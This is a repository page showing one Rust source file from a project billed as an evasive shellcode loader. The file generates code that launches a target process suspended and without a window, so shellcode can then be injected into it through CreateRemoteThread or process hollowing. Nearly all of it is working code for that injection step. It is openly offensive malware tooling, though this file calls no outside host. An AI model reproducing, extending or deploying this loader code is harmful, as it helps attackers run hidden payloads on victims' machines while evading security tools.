myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
process_helpers.rs (2452B)
      1 //! Process creation helper functions for injection techniques.
      2 //!
      3 //! This module provides reusable process creation logic that is shared
      4 //! across multiple shellcode injection techniques that need to spawn
      5 //! a target process in suspended state.
      6 
      7 use super::windows_types;
      8 
      9 /// Generate the load_process helper function for process injection.
     10 ///
     11 /// This function creates a suspended process ready for injection.
     12 /// It's used by techniques like CreateRemoteThread and ProcessHollowing.
     13 pub fn generate_load_process_function() -> String {
     14     format!(
     15         r#"
     16 fn load_process(target: &str) -> ProcessInformation {{
     17     {}
     18 
     19     {}
     20 
     21     let mut command_line: Vec<u16> = OsStr::new(target)
     22         .encode_wide()
     23         .chain(std::iter::once(0))
     24         .collect();
     25 
     26     unsafe {{
     27         let result = CreateProcessW(
     28             ptr::null(),
     29             command_line.as_mut_ptr(),
     30             ptr::null(),
     31             ptr::null(),
     32             0,
     33             CREATE_SUSPENDED | CREATE_NO_WINDOW,
     34             ptr::null(),
     35             ptr::null(),
     36             &si,
     37             &mut pi,
     38         );
     39 
     40         if result == 0 {{
     41             panic!("failed");
     42         }}
     43     }}
     44 
     45     pi
     46 }}
     47 "#,
     48         windows_types::init_startup_info_w(),
     49         windows_types::init_process_information()
     50     )
     51 }
     52 
     53 /// Generate CreateProcessW function signature for extern blocks.
     54 pub fn create_process_w_extern() -> &'static str {
     55     r#"    fn CreateProcessW(
     56         application_name: *const u16,
     57         command_line: *mut u16,
     58         process_attributes: *const std::ffi::c_void,
     59         thread_attributes: *const std::ffi::c_void,
     60         inherit_handles: i32,
     61         creation_flags: u32,
     62         environment: *const std::ffi::c_void,
     63         current_directory: *const u16,
     64         startup_info: *const StartupInfoW,
     65         process_information: *mut ProcessInformation,
     66     ) -> i32;"#
     67 }
     68 
     69 /// Generate common imports needed for process creation.
     70 pub fn process_creation_imports() -> &'static str {
     71     r#"use std::ptr;
     72 use std::ffi::OsStr;
     73 use std::os::windows::ffi::OsStrExt;"#
     74 }
     75 
     76 /// Generate the command line conversion code snippet.
     77 ///
     78 /// Converts a Rust string to a null-terminated wide string for Windows APIs.
     79 pub fn command_line_conversion(target_var: &str) -> String {
     80     format!(
     81         r#"let mut command_line: Vec<u16> = OsStr::new({})
     82         .encode_wide()
     83         .chain(std::iter::once(0))
     84         .collect();"#,
     85         target_var
     86     )
     87 }